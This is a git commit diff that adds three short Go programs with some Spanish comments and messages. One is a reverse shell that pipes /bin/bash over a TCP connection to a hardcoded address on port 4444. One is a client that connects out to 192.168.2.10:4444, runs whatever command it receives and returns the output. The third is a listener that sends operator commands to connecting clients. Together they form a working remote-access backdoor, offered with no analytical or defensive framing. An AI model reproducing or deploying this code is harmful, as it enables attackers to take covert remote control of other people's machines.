primer commit
This commit is contained in:
@@ -0,0 +1,62 @@
|
||||
package main
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type ReverseAddr struct {
|
||||
reverAddr string
|
||||
}
|
||||
|
||||
func CreateAddr() *ReverseAddr {
|
||||
return &ReverseAddr {
|
||||
reverAddr: "192.168.2.10:4444",
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func (ra ReverseAddr) CreateRever() {
|
||||
conn, err := net.Dial("tcp", ra.reverAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command("/bin/bash")
|
||||
cmd.Stdin = conn
|
||||
cmd.Stdout = conn
|
||||
cmd.Stderr = conn
|
||||
cmd.Run()
|
||||
}
|
||||
|
||||
func (ra ReverseAddr) GetInstructions() {
|
||||
conn, err := net.Dial("tcp", ra.reverAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
buf := make([]byte,1024)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
data := string(buf[:n])
|
||||
mensaje := strings.TrimSpace(data)
|
||||
partes := strings.Split(mensaje," ")
|
||||
comando := partes[0]
|
||||
argumentos := partes[1:]
|
||||
cmd := exec.Command(comando, argumentos...)
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(output)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
myaddr := CreateAddr()
|
||||
myaddr.GetInstructions()
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package main
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
type ReverseAddr struct {
|
||||
reverAddr string
|
||||
}
|
||||
|
||||
func CreateAddr() *ReverseAddr {
|
||||
return &ReverseAddr {
|
||||
reverAddr: "127.0.0.1:4444",
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func (ra ReverseAddr) CreateRever() {
|
||||
conn, err := net.Dial("tcp", ra.reverAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command("/bin/bash")
|
||||
cmd.Stdin = conn
|
||||
cmd.Stdout = conn
|
||||
cmd.Stderr = conn
|
||||
cmd.Run()
|
||||
}
|
||||
|
||||
func main() {
|
||||
myaddr := CreateAddr()
|
||||
myaddr.CreateRever()
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type localAddr struct {
|
||||
Addr string
|
||||
}
|
||||
|
||||
//metodo constructor
|
||||
func CreateAddr() *localAddr {
|
||||
return &localAddr {
|
||||
Addr: "192.168.2.10:4444",
|
||||
}
|
||||
}
|
||||
|
||||
func (la localAddr) BindPort() {
|
||||
listener, err := net.Listen("tcp", la.Addr)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer listener.Close()
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
fmt.Println("\nConexion recibida de ", conn.RemoteAddr())
|
||||
go handleConnection(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handleConnection(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
if len(os.Args) < 1 {
|
||||
fmt.Println("Escribir comando que tenga que realizar el cliente")
|
||||
} else {
|
||||
fmt.Println("Ejecutando", os.Args[1:])
|
||||
}
|
||||
|
||||
|
||||
comando := os.Args[1:]
|
||||
comandoUnido := strings.Join(comando, " ")
|
||||
_, err := conn.Write([]byte(comandoUnido))
|
||||
if err != nil {
|
||||
fmt.Println("error al enviar orden")
|
||||
}
|
||||
|
||||
conn.(*net.TCPConn).CloseWrite()
|
||||
buf := make([]byte, 4096)
|
||||
n, err := conn.Read(buf)
|
||||
respuesta := strings.TrimSpace(string(buf[:n]))
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
fmt.Printf("Respuesta de %s:\n", conn.RemoteAddr())
|
||||
fmt.Printf("====================\n")
|
||||
fmt.Printf(respuesta)
|
||||
fmt.Printf("\n====================")
|
||||
}
|
||||
|
||||
func main() {
|
||||
myBind := CreateAddr()
|
||||
myBind.BindPort()
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user